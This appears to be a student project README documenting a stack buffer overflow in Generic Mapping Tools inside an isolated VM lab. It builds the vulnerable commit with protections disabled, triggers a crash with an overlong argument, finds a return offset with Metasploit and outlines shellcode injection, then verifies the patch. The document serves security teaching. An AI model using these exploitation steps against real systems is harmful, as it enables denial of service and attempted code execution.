Skip to content

Latest commit

 

History

History
155 lines (102 loc) · 7.66 KB

File metadata and controls

155 lines (102 loc) · 7.66 KB

🛡️ CVE-2026-33147: Stack-Based Buffer Overflow in Generic Mapping Tools (GMT)

posterved

Project Status Course Institution

This repository contains the complete implementation, environment setup, and technical analysis for the IS-825 Vulnerability Exploitation and Defense semester project. The project focuses on researching, simulating, and mitigating CVE-2026-33147—a high-severity stack-based buffer overflow discovered within the Generic Mapping Tools (GMT) suite.

For an exhaustive review of our structural analysis and technical findings, please refer to the project documentation file k23-7709 Assignment 2 (CY5001).docx.pdf[cite: 1].


👥 Group Members

  • Kanwar Azlan (579108)
  • Werisha Abrar (579080)
  • Academic Institution: National University of Sciences and Technology (NUST) – School of Electrical Engineering and Computer Science (SEECS)
  • Project Date: April 09, 2026

📊 Vulnerability Overview

  • Vulnerability Name: Stack-Based Buffer Overflow
  • CVE ID: CVE-2026-33147
  • CVSS Score: 7.8 (High Severity)
  • Affected Software: Generic Mapping Tools (GMT) version 6.5.0 and earlier
  • Vulnerable Function: gmt_remote_dataset_id within the src/gmt_remote.c source file
  • Root Cause: Use of the unsafe strcpy function without checking input string bounds when processing remote dataset requests via the which module. An overly long dataset ID overwrites adjacent stack memory, causing a Denial of Service (DoS) crash or potential Arbitrary Code Execution (ACE).

💻 Lab Architecture & Network Setup

To securely simulate the attack inside a local private network, we utilize a virtualized lab environment:

  • Attacker Machine: Kali Linux VM (IP: 192.168.210.129)
  • Victim Machine: Ubuntu VM (IP: 192.168.210.128)

⚙️ Pre-requisites & VM Configuration

  1. Open VMware and navigate to the Network Adapter settings for both the Kali Linux and Ubuntu VMs.
  2. Change the network connection profile from NAT to Host-Only: A private network shared with the host to isolate target traffic.
  3. Power on both machines and verify cross-connectivity using the ping utility:

    From Kali to Ubuntu

    ping 192.168.210.128

    From Ubuntu to Kali

    ping 192.168.210.129

🛠️ Environment Build Process & Compilation

Follow these exact steps on the Victim Machine (Ubuntu VM) to prepare the environment and build the vulnerable software package from source.

1. Install Required System Dependencies

Execute the following to install necessary compilation binaries, development headers, and network libraries required by GMT:

sudo apt update sudo apt install build-essential cmake libcurl4-gnutls-dev libnetcdf-dev gdb -y

2. Clone the Repository and Rollback to Vulnerable Version

Clone the official repository and check out the explicit commit right before the remediation patch was applied to ensure the system is vulnerable:

git clone [https://github.com/GenericMappingTools/gmt.git](https://github.com/GenericMappingTools/gmt.git) cd gmt git checkout 0ad2b49^

(Note: The ^ symbol specifies the commit immediately preceding patch 0ad2b49, locking the codebase in its unpatched, vulnerable state).

3. Disable Compiler Security Guards & Build Binary

To analyze and trace the buffer exploit clearly without premature OS interference, compile the binary using cmake with explicit flags to turn off stack canaries (-fno-stack-protector) and enable an executable stack (-z execstack):

# Create and navigate to the build workspace mkdir build && cd build

# Configure the build environment with exploit analysis flags cmake -DCMAKE_C_FLAGS="-fno-stack-protector -z execstack" -DCMAKE_INSTALL_PREFIX=./install ..

# Compile the suite using all available CPU cores make -j$(nproc)

4. Verify Build Output

Ensure that the newly compiled binary asset is generated properly:

ls -l src/gmt

💥 Exploitation Scenarios

💀 Scenario A: Denial of Service (DoS) Attack

Generate an overly long buffer payload containing 5,000 "A" characters on the Attacker machine:

python3 -c "print('A' * 5000)" > exploit_payload.txt

Host the exploit payload over a local HTTP platform from Kali Linux:

python3 -m http.server 8080

On the Victim (Ubuntu) machine, pull down the file via wget:

wget [http://192.168.210.129:8080/exploit_payload.txt](http://192.168.210.129:8080/exploit_payload.txt)

Set the shared directory variable path and pass the heavy parameter string into the target compiled application module to trigger the vulnerability:

export GMT_SHAREDIR=$(pwd)/../share ./src/gmt which $(cat exploit_payload.txt)

Expected Result: Terminal outputs *** buffer overflow detected ***: terminated / Aborted (core dumped). You can verify the crash pattern and frame backtrace using the GNU Debugger:

gdb --args ./src/gmt which $(cat exploit_payload.txt) (gdb) run (gdb) backtrace (gdb) info registers

🔓 Scenario B: Arbitrary Code Execution (ACE) Analysis

1. Find Exact Offset: Utilize Metasploit framework tools to generate a 5,000-character unique pattern file (pattern.txt) to isolate the offset string length causing the Segmentation Fault.

2. Locate Register Overwrite: Run the pattern file inside gdb on the victim machine. Inspect the base pointer (rbp) register value (found at 0x3369463269463169). Run the evaluation tool to identify the exact offset boundary:

msf-pattern_offset -q 3369463269463169

Result: Exact match at offset 4144.

3. Payload Weaponization: Craft a custom Python payload script (ace_exploit.py) setting the calculated padding offset to 4144, inserting an execution standard Linux execve /bin/sh shellcode, and appending the target system pointer address (RSP) into a binary output file (exploit.bin).

4. Execution Obstacles: While stack-overflow conditions were fully realized, arbitrary target code execution face strict real-world production limitations due to local null-byte string evaluation constraints inherent to modern 64-bit platform registers.

🛡️ Mitigation & Patch Verification

To mitigate the security flaw, update the codebase to the official patched release commit where bounds checking is strictly enforced:

# Move back to the root project folder
cd ..

# Shift into the official patched environment branch
git checkout 0ad2b49

# Clean and rebuild the software suite from the build folder
cd build
make clean
make -j$(nproc)

Verification Testing

Execute the identical malicious binary string input file against the updated build:

./src/gmt which $(cat exploit.bin)

Expected Result: The patched system handles the length constraint gracefully, logging a controlled gmtwhich [ERROR] validation notice, skipping the processing buffer overflow completely, and exiting safely without a platform crash.

📚 References